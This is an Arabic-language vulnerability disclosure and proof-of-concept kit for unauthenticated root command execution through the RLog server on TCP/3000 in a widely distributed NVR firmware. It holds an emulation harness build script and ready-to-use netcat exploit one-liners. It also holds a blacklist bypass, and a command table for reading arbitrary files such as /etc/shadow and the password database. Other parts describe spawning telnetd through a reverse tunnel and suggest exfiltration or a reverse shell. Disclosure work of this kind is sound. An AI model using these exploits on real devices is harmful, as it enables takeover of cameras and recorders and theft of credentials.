
CVE-2026-100886 | مجموعة أدوات تنفيذ التعليمات البرمجية عن بُعد دون مصادقة.
يوضح الـ harness أن libLOG.so الخاص بالـ firmware يشغّل خادم RLog
على TCP/3000. يُظهر تحليل موزّع الأوامر والاختبارات الديناميكية
تنفيذ أوامر نظام التشغيل دون مصادقة عبر ذلك الخادم.
يقوم بتحميل libLOG.so الخاص بالـ firmware تحت qemu-arm، ويستدعي TLog_Init()
ويربط الخادم الحقيقي على 0.0.0.0:3000 ويقبل الاتصالات الواردة
من أي مكان مع عدم وجود مصادقة.
يكشف الـ firmware عن خادم أوامر RLog بدون مصادقة على TCP/3000.
يسجّل موزّع الأوامر Cmd، الذي يمرّر مدخلات يتحكم بها المهاجم
إلى TLog_CMD. يستدعي TLog_CMD في النهاية الواجهة الخلفية
لتنفيذ أوامر الـ firmware.
لذلك:
Unauthenticated TCP connection
↓
RLog command dispatcher
↓
Cmd <attacker-controlled command>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
command execution
harness.c: النسخة الدائمة: تُشغّل الخادم وتنام (استخدم هذه للاستخدام الفعلي)probe_harness.c: نسخة الفحص: تحاول أيضاً فحص الأوامر من داخل المحاكي (تُظهر متطلب تأطير بايت النوع)إذا كان تنزيل الـ firmware الذي يستخدمه السكربت أدناه لإنشاء sysroot لم يعد موجوداً. يمكنك الحصول عليه من أحد هذين (فقط ابحث عن صورة الـ nvr، فالـ firmware موزّع على نطاق واسع):
استخدمت firmware v4.6.1.4-build202604241011 لهذا، لم يتم اختبار إصدارات firmware أخرى بعد، لكن الموزّعين الثانويين مثل fullward لديهم أيضاً.
شغّل هذا في نفس دليل الـ harnesses
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
يوفّر هذا الـ harness تطبيقات بديلة (stub) للرموز التي يستوردها libLOG.so من edvr
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
المخرجات الملاحظة من probe_harness.c (ليس المستخدم في السكربت أعلاه):
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
يظهر Artix Linux بسبب مشاركة qemu user mode لنظام ملفات المضيف حيث أن هذا الـ PoC لا يعزله بشكل صحيح.
إفصاح عن الذكاء الاصطناعي، النص أدناه مُولّد بالذكاء الاصطناعي
LogModuleRegCmd @ 0x8f94)| الأمر | المعالج | التأثير |
|---|---|---|
StartDebug, StartLog, SetLogLevel, Help, StartAutoTest | متنوّع | التحكم في التسجيل/الاختبار الذاتي |
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfg | TLog_Get* | إفصاح عن المعلومات/الإعدادات/السجلات |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | قراءة ملفات عشوائية (/etc/shadow, /usr/local/etc/user.db, ...) |
GetPrintfFile | TLog_GetPrintfFile | قراءة ملفات |
Cmd [System commands] | TLog_CMD (0x3680) | تنفيذ أوامر shell كـ root |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | نفق TUN عكسي + telnetd على المنفذ 23 |
; \r \n).vi, cd, top, if, killcmd} (strcmp) — يمكن تجاوزها بسهولة (cat, sh, الاقتباس)."%s -b" → يعمل عبر sh -c.ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.mysystem() (libmysystem.so) → IPC إلى /usr/sbin/systemd (systemd مزيف، ينفّذ عبر /bin/sh كـ root؛ السلاسل "[systemd cmd:]%s", "[systemd ret:]%d").عرض القائمة السوداء (2026-08-04، خادم محاكى):
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port> (يتوقع 3 حقول).portmap_client_start(ip, port) (0x88b0):
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun، ينشئ الواجهة tps0، ifconfig tps0 up/mnt/nand/yun_id.txt, /etc/product_type.txtsystem("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e) و system("telnetd -p 23 &") (0x8c32).portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip."usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!"."rm %s/* -rf" (0xad10) — يستخدمها تنظيف دليل السجلات (TLog_DeleteLogFile).الـ harness (harness.c) يقوم بـ dlopen لـ libLOG.so، ويوفّر بدائل لاستيرادات edvr، ويستدعي TLog_Init():
dlopen ok
TLog_Init() -> 0
جانب المضيف (تمرير مقبس qemu user-mode):
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))
إثبات تنفيذ الأوامر (نص عادي، بدون مصادقة):
$ printf 'Cmd touch /tmp/rlog_pwned\r\n' | nc <target> 3000 # file created
$ printf 'Cmd id > /tmp/rlog_id.txt\r\n' | nc <target> 3000 # id output captured
تم التحقق من كليهما على الخادم المحاكى. تُنفّذ الأوامر عبر mysystem() → /usr/sbin/systemd → /bin/sh (root على الجهاز). لا يتم إرجاع أي مخرجات على المقبس (RCE أعمى؛ استخدم تسريباً خارج النطاق، مثل Cmd cat /usr/local/etc/user.db > /mnt/... أو reverse shell).
التأثير: يمكن لأي مهاجم شبكة غير مصادق عليه تنفيذ أوامر shell كـ root، وقراءة أي ملف (بما في ذلك قاعدة بيانات كلمات المرور النصية الصريحة والسجلات التي تسرّب كلمات المرور)، وتحويل telnet إلى المنفذ 23. على شبكة محلية هذه نهاية اللعبة؛ وعلى الأجهزة المكشوفة للإنترنت كذلك.